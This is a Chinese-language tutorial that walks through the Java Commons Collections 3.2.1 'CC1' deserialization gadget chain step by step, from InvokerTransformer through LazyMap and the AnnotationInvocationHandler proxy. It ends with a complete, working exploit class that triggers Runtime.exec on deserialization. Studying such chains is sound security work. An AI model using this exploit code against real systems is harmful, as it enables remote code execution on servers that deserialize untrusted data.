CommonsCollections_1链

CommonsCollections-1链

有了urldns的链子我们大概就有思路怎么找了,那么urldns只是供我们测试是否能进行反序列化的话,我们还需要有一条能供我们rce的链子

cc这个库的作用不用我特别说了,总之就是一个很常用的工具类

那么首先cc1链的环境要求比较苛刻,这里简单讲一下

环境配置

java版本:jdk 8u65

maven:3.6.3

cc版本:3.2.1

首先是java版本的下载,在https://www.oracle.com/java/technologies/downloads/
记得一定要把语言改成英文再下, 8u65会下成8u71

然后是源码包,不下源码包的话你看进去的变量会变成var1 var2这种解析后的代码

源码包下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
点左侧的zip下载
我们解压 jdk8u65 的 src.zip,解压完之后,我们把 openJDK 8u65 解压出来的 sun 文件夹拷贝进 jdk8u65 中,这样子就能把 .class 文件转换为 .java 文件了

然后是cc的源码包

首先导入cc

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

然后下载源码包

环境配置完成,正式开始审cc链了

Runtime.exec

首先我们要先了解一下java是怎么命令执行的

现在我们需要了解的是runtime.exec

最基础的方法是这样

1
2
3
4
5
6
7
import java.io.IOException;

public class temp {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}

此外,我们还要了解反射调用执行

1
2
3
4
5
6
7
public class temp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class c=Class.forName("java.lang.Runtime");
Method m=c.getMethod("getRuntime");
c.getMethod("exec", String.class).invoke(m.invoke(c),"calc");
}
}

Class.forName来获取类

getMethod来获取类的方法

invoke 的作用是执行方法,它的第一个参数是:

  • 如果这个方法是一个普通方法,那么第一个参数是类对象
  • 如果这个方法是一个静态方法,那么第一个参数是类

这也比较好理解了,我们正常执行方法是 [1].method([2], [3], [4]...) ,其实在反射里就是
method.invoke([1], [2], [3], [4]...)

InvokerTransformer.transform()

我们直接来看yso的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

首先我们看到入口是InvokerTransformer.transform()我们跟进看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass(); //反射加载类的地方
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

我们一看就看到了反射类加载的地方,我们看一下各个参数是怎么控制的

首先cls是直接input传进来的,调用方法的时候直接runtime就行,iMethodNameiParamTypes还有iArgs都是构造的时候就传进去的

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

我们先尝试用上面反射加载的方式加载,然后再把参传进去

1
2
3
4
5
6
7
8
public class temp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime=Runtime.getRuntime();
Class cls=runtime.getClass();
Method method=cls.getMethod("exec", String.class);
method.invoke(runtime,"calc");
}
}

我们再尝试把这些参数传到InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
public class temp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime=Runtime.getRuntime();
// Class cls=runtime.getClass();
// Method method=cls.getMethod("exec", String.class);
// method.invoke(runtime,"calc");

InvokerTransformer invokerTransformer=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
invokerTransformer.transform(runtime);
}
}

成功执行,要注意构造函数里面要传的什么参数

那么我们成功构造好了链子的入口,接下来我们要看哪里有同名函数调用了transform

LazyMap.get()

我们选中transform右键find usages来找到哪些地方调用了transform()

我们根据yso链子找到LazyMap,找到get方法调用了transform()

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

当map里面没有这个key就会触发下面的内容

那么我们就要去找一下我们要用的factory是什么

1
2
3
4
5
6
7
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

也是在构造的时候就能传到,但是这个类是protected不能直接构造得到,而这个类里的decorate方法能直接帮我们构造

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

尝试构造一下,因为是public方法,可以直接调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class temp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime=Runtime.getRuntime();
// Class cls=runtime.getClass();
// Method method=cls.getMethod("exec", String.class);
// method.invoke(runtime,"calc");

InvokerTransformer invokerTransformer=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
// invokerTransformer.transform(runtime);

HashMap<Object,Object> hashMap= new HashMap();
Map decorateMap= LazyMap.decorate(hashMap,invokerTransformer);
decorateMap.get(runtime);
}
}

还可以尝试反射调用两个效果是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class temp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime=Runtime.getRuntime();
// Class cls=runtime.getClass();
// Method method=cls.getMethod("exec", String.class);
// method.invoke(runtime,"calc");

InvokerTransformer invokerTransformer=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
// invokerTransformer.transform(runtime);

HashMap<Object,Object> hashMap= new HashMap();
Map decorateMap= LazyMap.decorate(hashMap,invokerTransformer);
// decorateMap.get(runtime);

Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, runtime);
}
}

那么继续往下走,走到调用get方法的地方,看yso的链到了AnnotationInvocationHandler.invoke()

AnnotationInvocationHandler.invoke()

根据yso的链找到这里,看一眼源码先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

需要触发 invoke 方法,马上想到动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法

那我们尝试写一个代理去调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class temp {
public static void main(String[] args) throws Exception {
Runtime runtime=Runtime.getRuntime();
// Class cls=runtime.getClass();
// Method method=cls.getMethod("exec", String.class);
// method.invoke(runtime,"calc");

InvokerTransformer invokerTransformer=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
// invokerTransformer.transform(runtime);

HashMap<Object,Object> hashMap= new HashMap();
Map decorateMap= LazyMap.decorate(hashMap,invokerTransformer);
// decorateMap.get(runtime);


Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationConstructor.setAccessible(true);
InvocationHandler handler= (InvocationHandler) annotationInvocationConstructor.newInstance(Override.class,decorateMap);

Map proxyMap= (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), (Class<?>[]) new Class[]{Map.class},handler);
Object o=annotationInvocationConstructor.newInstance(Override.class,proxyMap);

SerializeUtils.serialize(o);

SerializeUtils.unserialize("ser.bin");
}
}

发现没有弹计算器还报错了,因为runtime根本没调用到,报错The method 'exec' on 'class java.lang.String' does not exist

我们这里只能控制一个参数就是memberValues

那么我们也就要想办法在一个map里面塞下所有命令执行的参数,那么这里我们就要用到另外两个辅助我们的工具类了

ConstantTransformer&&ChainedTransformer

我们回到之前执行命令的地方看

1
2
3
4
5
6
7
8
9
10
11
12
13
public class temp {
public static void main(String[] args) throws Exception {
// Runtime runtime=Runtime.getRuntime();
// Class cls=runtime.getClass();
// Method method=cls.getMethod("exec", String.class);
// method.invoke(runtime,"calc");
Class c=Runtime.class;
Method get_runtime=c.getMethod("getRuntime");
Method exec=c.getMethod("exec", String.class);
exec.invoke(get_runtime.invoke(c),"calc");
}
}

我们把它拆分开来

  1. 获取Runtime类
  2. 获取getRuntime方法
  3. 获取exec方法
  4. 从下往上invoke嵌套

那么,有没有方法可以把他们整合到一起呢,当然是有的,我们把几个获取方法都整合成用InvokerTransformer的类的方法构造出来

1
2
3
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null})
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

如果这里看不懂罚你回去从InvokerTransformer链头开始看

这个时候我们正好有一个方法,对他们依次调用transform方法并且上一个的结果进行调用,那就是ChainedTransformer类,我们看一下对应源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

接受一个数组,对亚目循环调用transform方法,接受的是一个Transformer[]数组

那么我们现在就可以这样写

1
2
3
4
5
6
Transformer[] transformers=new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

但是我们还少一个runtime头,我们需要把一个runtime类转换成transform对象,我们就要用到另一个工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

只要把我们的runtime传进去就行了,那么我们最后构造好就是这样

1
2
3
4
5
6
7
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

至此,我们的所有链完全贯通,cc1链大功告成

最终exp

那么最终exp就为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package cat.uwu.serialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import cat.uwu.util.SerializeUtils;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1Chain {

public static void main(String[] args) throws Exception {

// 创建一个Transformer数组,用于构建命令执行链
// ConstantTransformer:将一个常量(这里是Runtime.class)作为transformer的输出
// InvokerTransformer:调用指定的方法,依次执行getMethod("getRuntime")、invoke()、exec("calc")
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 第一步:将Runtime.class作为常量返回
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 第二步:获取Runtime类的getRuntime方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 第三步:调用getRuntime方法获取Runtime实例
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) // 第四步:调用exec方法执行系统命令(这里是calc)
};

// 将多个Transformer链在一起,按顺序执行transform方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 创建一个HashMap用于LazyMap装饰
HashMap<Object, Object> hashMap = new HashMap<>();

// 使用LazyMap装饰HashMap,将chainedTransformer作为factory
// LazyMap的get方法在key不存在时会触发transformer链
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

// 获取AnnotationInvocationHandler类的构造函数,用于后续动态代理
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationConstructor.setAccessible(true); // 由于构造函数是私有的,使用setAccessible进行访问控制

// 创建AnnotationInvocationHandler实例,将Override.class和LazyMap作为参数传入
InvocationHandler handler = (InvocationHandler) annotationInvocationConstructor.newInstance(Override.class, decorateMap);

// 创建动态代理,代理Map接口
// 当通过代理对象调用方法时,会触发AnnotationInvocationHandler的invoke方法
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);

// 再次使用AnnotationInvocationHandler创建一个新的实例
// 这里传入的proxyMap将在反序列化时触发LazyMap的get方法,从而执行命令
Object o = annotationInvocationConstructor.newInstance(Override.class, proxyMap);

// 序列化构造的恶意对象,保存到文件中
SerializeUtils.serialize(o);

// 反序列化恶意对象,触发命令执行
SerializeUtils.unserialize("ser.bin");
}
}